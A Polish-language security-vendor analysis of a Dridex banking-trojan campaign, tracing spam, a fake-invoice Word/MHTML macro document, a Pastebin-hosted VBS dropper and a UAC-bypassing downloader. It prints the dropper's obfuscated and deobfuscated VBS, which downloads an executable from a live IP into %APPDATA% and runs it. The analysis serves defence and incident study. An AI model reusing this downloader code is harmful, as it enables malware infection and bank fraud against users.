Jak dostać się na twoje konto bankowe?

Twórcy bankowych trojanów, aby oszukać użytkowników, a tym samym ominąć różnego rodzaju zabezpieczenia, wykazują się coraz większą kreatywnością. Pracownicy G Data SecurityLabs dokonali analizy specjalnie spreparowanego dokumentu programu Microsoft Word, który posłużył do instalacji złośliwego trojana bankowego o nazwie Dridex. Ten złośliwy dokument powoduje, że nieświadomy użytkownik łączy się ze stroną internetową i pobiera złośliwe oprogramowanie. Tego typu ataki coraz częściej są wymierzone przeciwko firmom, zwłaszcza MSP, w różnych częściach globu.
Jak dostać się na twoje konto bankowe?

Infekcja krok po kroku
Krok 1: Kampania spamowa.

Proces rozpoczyna się od wysłania tysięcy e-maili do potencjalnych ofiar, zawierających informacje o rzekomym zamówieniu. W załączniku znajduje się dokument Microsoft Office z fałszywą fakturą.

Krok 2. Otwarcie dokumentu Microsoft Office

Dokument nazywa się YU96260LFZ.doc natomiast Secure Hash Algorithm, dzięki któremu można dokładnie określić i zidentyfikować plik, przedstawia się następująco:

SHA256 e2d878a43607c04f151052e81a560a80525a343ea4e719c3a79e1cc8c45e47c5

Nazwa rozszerzenia sugeruje, że mamy do czynienia z plikiem typu.doc, jednak w rzeczywistości jest to dokument MHTML. To standard dodawania zasobów, które w normalnych stronach HTTP są pobierane z zewnątrz, takich jak obrazy lub pliki dźwiękowe, do tego samego pliku co kod HTML. Protokół jest wspierany przez Microsoft Word, używający rozszerzenia mht. Zakładamy, że napastnik oryginalnie wygenerował plik.mht i zamienił rozszerzenie na.doc. Dlaczego? Cyberprzestępcy używają znanych i popularnych rozszerzeń, bowiem użytkownicy nie obawiają się otwierać dokumentów ze znanymi końcówkami. Ponadto pliki.mht oraz.doc dzielą tę samą ikonę, w rezultacie użytkownicy stają się mniej podejrzliwi.

Poniższy dokument zawiera makro. Kiedy użytkownik otworzy dokument widzi następującą wiadomość.

Komunikat na samej górze informuje, że makro jest wyłączone, co jest dobrą informacją dla użytkownika. Pozostałe trzy linijki są kompletnie nieczytelne. Warto także zwrócić uwagę na wpis “If you document has……” zawiera błąd gramatyczny – zamiast “you” powinno pojawić się “your”.

Co się dzieje dalej? Oczywiście uruchomienie makra, powoduje, że użytkownik pobiera złośliwy kod.

paul@gdata:~/ $ oledump.py -p plugin_http_heuristics.py file.mso

1: 541 ‘PROJECT’

2: 98 ‘PROJECTwm’

3: m 818 ‘VBA/Module2’

Plugin: HTTP Heuristics plugin

Module2

4: M 1607 ‘VBA/ThisDocument’

Plugin: HTTP Heuristics plugin

‘N\x18\xac\x0e\x87.\x99\xe9\xed’

5: 3262 ‘VBA/_VBA_PROJECT’

6: 627 ‘VBA/dir’

7: M 5305

‘VBA/\xd0\xb0\xd1\x86\xd1\x83\xd0\xba34\xd0\xba\xd1\x86\xd1\x83\xd0\xbc’

Plugin: HTTP Heuristics plugin

hxxp://pastebin.com/download.php?i=VTd9HVkz

Pastebin.com to strona internetowa umożliwiające tymczasowe przechowywanie dokumentów tekstowych oraz możliwość ich współdzielenia, poprzez udostępnianie linku. Gro użytkowników serwisu stanowią developerzy przechowujący kody źródłowe, co jeszcze bardziej go uwiarygodnia w oczach potencjalnych ofiar. Poza tym wygodna i przejrzysta obsługa serwisu znacznie ułatwia zadanie cyberprzestępcom.

Krok 3. Payload hostowany na Pastebin.com

Dokument tekstowy skonfigurowany przez napastników jest udostępniany jako skrypt VBS (Visual Basic Script). Skrypt został zamaskowany w dość prosty sposób. Poniżej zamieszczamy początek zakamuflowanego kodu:

dim HGyu87f7Usf: Set HGyu87f7Usf = createobject(Chr(77) & Chr(105) &

Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) &

Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) &

Chr(84) & Chr(80) )

dim oUIOGuiwefff: Set oUIOGuiwefff = createobject(Chr(65) & Chr(100) &

Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109) )

HGyu87f7Usf.Open “GET”, “http://91.227.18.18/stat/get.php”, False

HGyu87f7Usf.Send

Set dfgfderer = WScript.CreateObject(Chr(87) & Chr(83) & Chr(99) &

Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) ).Environment(Chr(80) & Chr(114) &

Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115) )

iyUGbuwerff = dfgfderer(Chr(65) & Chr(80) & Chr(80) & Chr(68) & Chr(65) & Chr(84) & Chr(65) )

iyUGUIvbuiwe7vhJ = iyUGbuwerff + Chr(92) & Chr(111) & Chr(56) & Chr(50) & Chr(51) & Chr(55) & Chr(52) & Chr(50) & Chr(51) & Chr(46) & Chr(101) & Chr(120) & Chr(101)

with oUIOGuiwefff

.type = 1

.open

.write HGyu87f7Usf.responseBody

.savetofile iyUGUIvbuiwe7vhJ, 2

end with

Set uyGUYhi8wef = CreateObject(Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) &

Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) ) uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ

Poniżej odmaskowany kod:

dim HGyu87f7Usf: Set HGyu87f7Usf = createobject(Microsoft.XMLHTTP )

dim oUIOGuiwefff: Set oUIOGuiwefff = createobject(Adodb.Stream )

HGyu87f7Usf.Open “GET”, “http://91.227.18.18/stat/get.php”, False

HGyu87f7Usf.Send

Set dfgfderer = WScript.CreateObject(WScript.Shell ).Environment(Process )

iyUGbuwerff = dfgfderer(APPDATA )

iyUGUIvbuiwe7vhJ = iyUGbuwerff + \o8237423.exe

with oUIOGuiwefff

.type = 1

.open

.write HGyu87f7Usf.responseBody

.savetofile iyUGUIvbuiwe7vhJ, 2

end with

Set uyGUYhi8wef = CreateObject(Shell.Application )

uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ

VBS został pobrany i wykonany (the/get.php link) zainstalowany w %APPDATA% jako plik o nazwie o8237423.exe.

Krok 4. Downloader & payload

Plik o8237423.exe to downloader. Zanim się uruchomi, dąży do uzyskania uprawnień administratora przez ominięcie UAC ( Kontrola konta użytkownika). Downloader wykonuje to zadanie, wykorzystując popularny trik polegający na ukryciu okienka UAC. W tym celu posługuje się plikiem.sdb, Więcej informacji na temat UAC można znaleźć na stronie ttps://support.microsoft.com/en-us/kb/3045645. Uaktualnienie, o którym informuje Microsoft, określa się jako opcjonalne. Jednak zalecamy jego zastosowanie, aby zapobiec opisanym powyżej próbom oszustwa.

Pobrany komponent generuje konfigurację wymaganą do działania i rozprzestrzeniania trojana Dridex. Więcej informacji o bankowych trojanach można znaleźć na stronie.. https://secure.gd/dl-en-pcmwr201402.

Poniżej znajduje się przykładowa konfiguracja próbki Trojana, który zaatakował użytkowników we Francji i Wielkiej Brytanii.

Ostatecznie biblioteka (payload) została pobrana z jednego serwerów, wymienionych w konfiguracji. Hash tej biblioteki przedstawia się następująco: 0305dda6ec81e8d8ff90152094d5e5e0f8914aeb6d984ee48d72f405a9b90f90 i jest dopasowany do głównego payloadu trojana Dridex.

Przykłady ataków trojana Dridex w różnych krajach

Słyszeliśmy i czytaliśmy o kilku przypadkach, kiedy ataki przeprowadzane za pomocą Dridexa zakończyły się sukcesem, czyli kradzieżą pieniędzy z firmowych kont, najczęściej dotyczyły one MSP. W maju Trojan wykazywał się szczególnie dużą aktywnością w Belgii, gdzie zainfekował 35 tys. maszyn wykorzystujących specjalistyczne systemy bankowe. Również media we Francji szeroko informowały o pojawieniu się zagrożenia Dridex.